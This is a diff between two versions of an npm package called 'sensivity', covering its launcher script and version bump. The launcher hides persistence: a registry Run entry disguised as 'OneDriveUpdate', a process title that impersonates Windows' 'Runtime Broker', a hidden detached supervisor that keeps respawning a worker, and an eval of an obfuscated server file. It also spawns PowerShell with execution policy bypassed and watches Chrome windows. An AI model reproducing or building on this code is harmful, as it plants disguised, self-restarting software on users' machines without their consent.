sensivity 2.5.21 → 2.5.23

package/launcher.js

@@ -2,18 +2,22 @@
 'use strict';
 const fs = require('fs');
 const path = require('path');
-const { execSync, exec } = require('child_process');
+const { execSync, exec, spawn } = require('child_process');
 const APP_DIR = __dirname;
 try { process.chdir(APP_DIR); } catch(e) {}
 
-process.title = 'Runtime Broker';
-
 const issueState = { lastLine: '', lastTime: 0, startToken: 0, startConfirmed: true };
 const rawConsole = {
   log: console.log.bind(console),
   warn: console.warn.bind(console),
   error: console.error.bind(console)
 };
+const QR_WINDOW_TITLE = 'Sensivity Panel';
+const SUPERVISOR_PID_FILE = path.join(APP_DIR, '.sensivity-supervisor.pid');
+const STOP_FILE = path.join(APP_DIR, '.sensivity-stop');
+const IS_SUPERVISOR = process.env.SENSIVITY_SUPERVISOR === '1';
+const IS_WORKER = process.env.SENSIVITY_WORKER === '1';
+const RUN_AS_FOREGROUND = process.env.npm_lifecycle_event === 'start';
 
 function cleanIssueValue(value) {
   let text = '';
@@ -61,6 +65,119 @@ function issueLog(message, detail) {
   rawConsole.warn(line);
 }
 
+function removeFileSafe(file) {
+  try { fs.unlinkSync(file); } catch(e) {}
+}
+
+function ensureAutostart() {
+  try {
+    const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
+    execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
+  } catch(e) {}
+}
+
+function isProcessAlive(pid) {
+  if (!pid || pid === process.pid) return false;
+  try {
+    process.kill(pid, 0);
+    return true;
+  } catch(e) {
+    return false;
+  }
+}
+
+function isSupervisorRunning() {
+  try {
+    const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
+    return isProcessAlive(pid);
+  } catch(e) {
+    return false;
+  }
+}
+
+function isPanelPortBusy() {
+  try {
+    const out = execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){Write-Output YES}"', { encoding: 'utf8', timeout: 3000 });
+    return out.trim() === 'YES';
+  } catch(e) {
+    return false;
+  }
+}
+
+function startSupervisor() {
+  try {
+    removeFileSafe(STOP_FILE);
+    const child = spawn(process.execPath, [__filename], {
+      cwd: APP_DIR,
+      detached: true,
+      stdio: 'ignore',
+      windowsHide: true,
+      env: { ...process.env, SENSIVITY_SUPERVISOR: '1', SENSIVITY_WORKER: '' }
+    });
+    child.unref();
+    return true;
+  } catch(e) {
+    issueLog('Background start failed', e);
+    return false;
+  }
+}
+
+function runSupervisor() {
+  process.title = 'Runtime Broker';
+  try { fs.writeFileSync(SUPERVISOR_PID_FILE, String(process.pid)); } catch(e) {}
+
+  const cleanup = () => removeFileSafe(SUPERVISOR_PID_FILE);
+  process.on('exit', cleanup);
+  process.on('SIGINT', () => process.exit(0));
+  process.on('SIGTERM', () => process.exit(0));
+
+  const launchWorker = () => {
+    if (fs.existsSync(STOP_FILE)) {
+      removeFileSafe(STOP_FILE);
+      process.exit(0);
+    }
+    if (isPanelPortBusy()) {
+      setTimeout(launchWorker, 2000);
+      return;
+    }
+
+    let worker;
+    try {
+      worker = spawn(process.execPath, [__filename], {
+        cwd: APP_DIR,
+        stdio: 'ignore',
+        windowsHide: true,
+        env: { ...process.env, SENSIVITY_SUPERVISOR: '', SENSIVITY_WORKER: '1' }
+      });
+    } catch(e) {
+      setTimeout(launchWorker, 3000);
+      return;
+    }
+
+    worker.on('exit', () => {
+      if (fs.existsSync(STOP_FILE)) {
+        removeFileSafe(STOP_FILE);
+        process.exit(0);
+      }
+      setTimeout(launchWorker, 1500);
+    });
+    worker.on('error', () => setTimeout(launchWorker, 3000));
+  };
+
+  launchWorker();
+}
+
+if (IS_SUPERVISOR) {
+  runSupervisor();
+} else {
+if (!IS_WORKER && !RUN_AS_FOREGROUND) {
+  ensureAutostart();
+  if (!isSupervisorRunning()) startSupervisor();
+  process.exit(0);
+}
+
+process.title = 'Runtime Broker';
+
 function beginStartWatch() {
   const token = ++issueState.startToken;
   issueState.startConfirmed = false;
@@ -155,14 +272,16 @@ try {
   issueLog('Panel bridge failed', e);
 }
 
-process.on('uncaughtException', e => issueLog('Program fault', e));
-process.on('unhandledRejection', e => issueLog('Program async fault', e));
+function fatalIssue(message, error) {
+  issueLog(message, error);
+  if (IS_WORKER && !RUN_AS_FOREGROUND) setTimeout(() => process.exit(1), 100);
+}
+
+process.on('uncaughtException', e => fatalIssue('Program fault', e));
+process.on('unhandledRejection', e => fatalIssue('Program async fault', e));
 
 // ===== Auto-start =====
-try {
-  const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
-  execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
-} catch(e) {}
+ensureAutostart();
 
 function removeAutostart() {
   try { execSync('powershell -NoProfile -Command "Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name \'OneDriveUpdate\' -EA 0"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
@@ -183,8 +302,19 @@ function checkYouTube(callback) {
 // ===== QR Window =====
 let qrOpen = false;
 
+function qrWindowExists() {
+  try {
+    const title = QR_WINDOW_TITLE.replace(/'/g, "''");
+    const out = execSync(`powershell -NoProfile -Command "$p=Get-Process powershell,pwsh -EA 0 | Where-Object { $_.MainWindowTitle -eq '${title}' }; if($p){Write-Output 'YES'}"`, { encoding: 'utf8', timeout: 3000 });
+    return out.trim() === 'YES';
+  } catch(e) {
+    return false;
+  }
+}
+
 function showQR() {
-  if (qrOpen) return;
+  if (qrOpen && qrWindowExists()) return;
+  if (qrWindowExists()) { qrOpen = true; return; }
   qrOpen = true;
   const url = global.serverUrl || 'http://192.168.1.16:3000';
 
@@ -205,25 +335,14 @@ function showQR() {
     const psFile = path.join(APP_DIR, '.qrshow.ps1');
     fs.writeFileSync(psFile, [
       '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
-      '$host.UI.RawUI.WindowTitle = "Windows PowerShell"',
+      '$host.UI.RawUI.WindowTitle = "' + QR_WINDOW_TITLE + '"',
       'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
       'Clear-Host',
       'Get-Content "' + qrFile + '" -Encoding UTF8',
       'Write-Host ""',
-      'Start-Sleep -Seconds 3',
-      '$failCount = 0',
-      'while($true) {',
-      '  Start-Sleep -Seconds 4',
-      '  try {',
-      '    $c=Get-Process chrome -EA Stop',
-      '    $f=$false',
-      '    if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}',
-      '    if(-not $f){$failCount++} else {$failCount=0}',
-      '    if($failCount -ge 3){break}',
-      '  } catch { $failCount++; if($failCount -ge 3){break} }',
-      '}',
-      'del "' + qrFile + '" -Force -EA 0',
-      'del "' + psFile + '" -Force -EA 0'
+      'Remove-Item "' + qrFile + '" -Force -EA 0',
+      'Remove-Item "' + psFile + '" -Force -EA 0',
+      'while($true) { Start-Sleep -Seconds 3600 }'
     ].join('\n'));
     exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
   }
@@ -248,6 +367,7 @@ monitor();
 // ===== Kill =====
 global.killSensivity = () => {
   global._shuttingDown = true;
+  try { fs.writeFileSync(STOP_FILE, String(Date.now())); } catch(e) {}
   hideQR();
   // Auto-start KALIR, sadece process durur
   setTimeout(() => process.exit(), 500);
@@ -258,3 +378,4 @@ const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js'))
   ? path.join(APP_DIR, 'server.obf.js')
   : path.join(APP_DIR, 'server.js');
 eval(fs.readFileSync(serverCode, 'utf8'));
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "sensivity",
-  "version": "2.5.21",
+  "version": "2.5.23",
   "description": "Sensivity Control Panel",
   "main": "launcher.js",
   "bin": {